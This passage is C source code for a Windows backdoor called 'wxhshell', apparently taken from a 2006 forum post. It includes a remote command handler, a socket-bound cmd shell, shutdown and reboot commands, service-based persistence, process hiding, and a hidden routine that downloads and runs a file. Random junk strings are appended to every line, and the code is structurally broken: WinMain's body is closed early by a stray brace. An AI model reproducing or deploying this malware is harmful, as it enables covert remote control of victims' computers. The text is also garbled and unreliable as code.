      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qIO)<5\[%d  
    break; wFJ*2W:  
  } jtwe9  
  // 安装 <}%gZ:Z6g  
  case 'i': { |jKFk.M  
    if(Install()) '=UsN_@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n,p \~Tu,  
    else U.ew6`'Te  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hgdr\ F  
    break; ?~;q r  
    } <fDbz1Q;l  
  // 卸载 3\|PwA9fN8  
  case 'r': { f/Q/[2t  
    if(Uninstall()) * [b~2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \obM}caT  
    else 4@@gC&:Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FCChB7c`  
    break; P_E xh]P  
    } Emv9l~mIu  
  // 显示 wxhshell 所在路径 ]/Cu,mX  
  case 'p': { 2'?C  
    char svExeFile[MAX_PATH]; }5u;'>$  
    strcpy(svExeFile,"\n\r"); ?cD_\~  
      strcat(svExeFile,ExeFile); "@itn  
        send(wsh,svExeFile,strlen(svExeFile),0); nwJc%0  
    break; %:Zp7O2UB'  
    } Lnl-han%  
  // 重启 {HP.HK  
  case 'b': { |(5|6r3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VWMr\]g  
    if(Boot(REBOOT)) VS+5{w:t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  s)9 sb J  
    else { :(4];Va  
    closesocket(wsh); i6k~j%0m  
    ExitThread(0); (y2P."  
    } ::Pf\Lb>  
    break; sP%J`L@h  
    } Rm@F9D[,  
  // 关机 @SAJ*h fb0  
  case 'd': { FNXVd/{M3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pF:C   
    if(Boot(SHUTDOWN)) (9+N_dLx~P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r6e!";w:U  
    else { Bh6lK}9  
    closesocket(wsh); v3]~*\!5  
    ExitThread(0); buxyZV@1  
    } U,,rB(  
    break; P}D5 j  
    } XKbTj R  
  // 获取shell S@C"tHD  
  case 's': { <##aD3)  
    CmdShell(wsh); w6[$vib'  
    closesocket(wsh); ^ANz=`N5,  
    ExitThread(0); 9~}8?kPNw=  
    break; /O$)m[  
  } NqN9  
  // 退出  83:qIfF  
  case 'x': { KI5099_/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OLDEB.@  
    CloseIt(wsh); UG,n q  
    break; {ALOs^_-  
    } TK#-;p_  
  // 离开 Oz.Zxw  
  case 'q': { \LDcIK=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wu693<  
    closesocket(wsh); (9!kKMQW'  
    WSACleanup(); :$oiP  
    exit(1); s *<T5Z  
    break; O9)k)A]`O  
        } * 9}~?#b  
  } "C9.pdP\8  
  } "'6R|<u=:  
2$oGy  
  // 提示信息 _2Fa .gi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f2{qj5 K  
} #pX+~ {  
  } 'Ie!%k^  
M,N(be-  
  return; qAuq2pHA+d  
} v5`Odbc=w  
T q5F'@e  
// shell模块句柄 Y ^uYc}  
int CmdShell(SOCKET sock) 8j!(*'J.  
{ p9iCrqi  
STARTUPINFO si; _ 4+=S)$  
ZeroMemory(&si,sizeof(si)); ]Oe[;<I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m{0u+obi&w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JT 5+d ,  
PROCESS_INFORMATION ProcessInfo; , -S n  
char cmdline[]="cmd"; )hK1W\5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XBHv V05mv  
  return 0; SlUt&+)  
} s&qr2'F+z  
&bS!>_9  
// 自身启动模式 TWTRMc;z+  
int StartFromService(void) R$VeD1n@  
{ ~7&O[  
typedef struct y1hJVYE2  
{ .(zZTyZr  
  DWORD ExitStatus; j_~lc,+m  
  DWORD PebBaseAddress; '#x<Fo~hT  
  DWORD AffinityMask; Q$DF3[NC  
  DWORD BasePriority; k3t2{=&'&x  
  ULONG UniqueProcessId; [0hZg  
  ULONG InheritedFromUniqueProcessId; gc{5/U9H*  
}   PROCESS_BASIC_INFORMATION; DX#F]8bWl  
%q,^A+=  
PROCNTQSIP NtQueryInformationProcess; j~rarR@NB)  
}sS1 p6z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WnC0T5S?U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f= l*+QY8f  
U*em)/9  
  HANDLE             hProcess; Voc&T+A m  
  PROCESS_BASIC_INFORMATION pbi; &0S/]E`_M  
-qRO}EF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;:pd/\<  
  if(NULL == hInst ) return 0; ;={Z Bx  
EAjo>GLI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BXo9s~5Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q9"~sCH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fgg4QF  
_d/ZaCx'i  
  if (!NtQueryInformationProcess) return 0; Mt`XHXTp  
#n}n %  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H[8P]"*z*i  
  if(!hProcess) return 0; oM#S.f?  
1_.#'U>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MOW {g\{\  
wH[}@w  
  CloseHandle(hProcess); - dt<w;>W  
oJTsrc_ -  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |qsY0zx  
if(hProcess==NULL) return 0; o] 7U;W  
R!LKGiN  
HMODULE hMod; ss>?fyA  
char procName[255]; A?8 29<  
unsigned long cbNeeded; -d6*M*{|  
L #l|}u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ? /Z hu  
4\yKd8I  
  CloseHandle(hProcess); wY j~(P"  
7oI^shk  
if(strstr(procName,"services")) return 1; // 以服务启动 OT5'cl  
BV HO_  
  return 0; // 注册表启动 2nPU $\du  
} &vp0zYd+v  
3 eFBe2  
// 主模块 ;i><03  
int StartWxhshell(LPSTR lpCmdLine) emI]'{_G  
{ 3M&75OE  
  SOCKET wsl; L&nGjC+Lr  
BOOL val=TRUE; VCvqiHn  
  int port=0; oxPb; %  
  struct sockaddr_in door; 8W_X&X?Q  
|!{ BjOAD'  
  if(wscfg.ws_autoins) Install(); bz? *#S  
d.&~n`Rv!p  
port=atoi(lpCmdLine); M^^u{);q  
cIgicp}U  
if(port<=0) port=wscfg.ws_port; $wn "+wX  
4q<:% 0M|  
  WSADATA data; XJ;JDch  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  VSkx;P  
+<ey Iw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Up$vBE8i]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k]`3if5>  
  door.sin_family = AF_INET; o^! Zt 9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O({-lI  
  door.sin_port = htons(port); :Y[r^=>  
Yg#)@L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s"?&`S  
closesocket(wsl); xf@D<}~1  
return 1; Pne[>}_l/  
} a;Y9wn  
3:Sv8csT  
  if(listen(wsl,2) == INVALID_SOCKET) { m H'jr$ ?  
closesocket(wsl); Q'^]lVY  
return 1; .j4IW 3)  
} GJqSNi}  
  Wxhshell(wsl); "t"=9:_t  
  WSACleanup(); 2g^Kf,m  
g5to0  
return 0; $sO}l  
d}',Bl+u{$  
} ls6ywLP{  
Q_#X*I  
// 以NT服务方式启动 RS/%uxS?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9=I(AYG{m  
{ 0p$?-81BJ  
DWORD   status = 0; @11voD  
  DWORD   specificError = 0xfffffff; nZN]Q9  
>|7&hj$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $(}kau  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Pwz^{*u]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R< xxwjt  
  serviceStatus.dwWin32ExitCode     = 0; U'.>wjO  
  serviceStatus.dwServiceSpecificExitCode = 0; .?S#DS )  
  serviceStatus.dwCheckPoint       = 0; )11/BB\v  
  serviceStatus.dwWaitHint       = 0; Z#;ieI\  
=fi.*d?$7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <z)MV oa  
  if (hServiceStatusHandle==0) return; OG 5n9sx  
S,S_BB<Y[b  
status = GetLastError(); g)&-S3\  
  if (status!=NO_ERROR) Ok({Al1A,w  
{ Q:VD 2<2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wQnr*kyza  
    serviceStatus.dwCheckPoint       = 0; +I\ bs.84  
    serviceStatus.dwWaitHint       = 0; 3[aJ=5  
    serviceStatus.dwWin32ExitCode     = status; G';oM;~/|  
    serviceStatus.dwServiceSpecificExitCode = specificError; Punbw\9!d,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '}4[m>/  
    return; 6x/ X8zu  
  } Qn%*kU0X  
web&M!-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !b _<_Y{l  
  serviceStatus.dwCheckPoint       = 0; KS(T%mk\  
  serviceStatus.dwWaitHint       = 0; 7P|(j<JX6'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JG}U,{7(  
} JBUJc  
"l +Jx|h\  
// 处理NT服务事件,比如:启动、停止 V (!b!i@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V`fh,(:  
{ n{' [[2U  
switch(fdwControl) 9'5,V{pj  
{ \HK#d1>ox  
case SERVICE_CONTROL_STOP: B~PF<8h5  
  serviceStatus.dwWin32ExitCode = 0; 'pm2C6AC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V">Uh@[J_  
  serviceStatus.dwCheckPoint   = 0; rX{|]M":T  
  serviceStatus.dwWaitHint     = 0; & vLX  
  { {&h&:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o!\O)  
  } $yFur[97C  
  return; F~l3?3ZV  
case SERVICE_CONTROL_PAUSE: HZK0Ldf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :sPku<1is  
  break; TyBNRnkt  
case SERVICE_CONTROL_CONTINUE: +.lO8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WVN Q}KY  
  break; o$-8V:)6d  
case SERVICE_CONTROL_INTERROGATE: C,I N+@  
  break; *V"cu  
}; 'Ux_X:,:;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 40 c#zCE  
} 5W{>5.Arx)  
QOF;j#H^  
// 标准应用程序主函数 ~hxB Pn."  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /e7'5#v  
{ quKD\hL$  
} 1XLe  
// 获取操作系统版本 _ma4  
OsIsNt=GetOsVer(); f^%E]ki  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M5x!84  
Qs?+vk?*h  
  // 从命令行安装 (%P* rl  
  if(strpbrk(lpCmdLine,"iI")) Install();  q?^0 o\  
VG8rd'Z  
  // 下载执行文件 - 5k4vx N}  
if(wscfg.ws_downexe) { ./fEx 'E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =)zq %d?i;  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5~44R@`  
} Gqia@>T4*N  
W?l .QQk  
if(!OsIsNt) { vfbe=)}[  
// 如果时win9x,隐藏进程并且设置为注册表启动 K4F!?#  
HideProc(); b?bYPN+  
StartWxhshell(lpCmdLine); zgRP!q<9tt  
} I?Zs|A  
else ^6 LFho4  
  if(StartFromService()) n5JB'F)  
  // 以服务方式启动 ~NcJLU!au  
  StartServiceCtrlDispatcher(DispatchTable); NuooA  
else c df ll+  
  // 普通方式启动 xBZ9|2Y s  
  StartWxhshell(lpCmdLine); apMYBbC  
c0qv11,:t  
return 0; kCwTv:)  
}
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只看该作者 1 发表于: 2006-10-10
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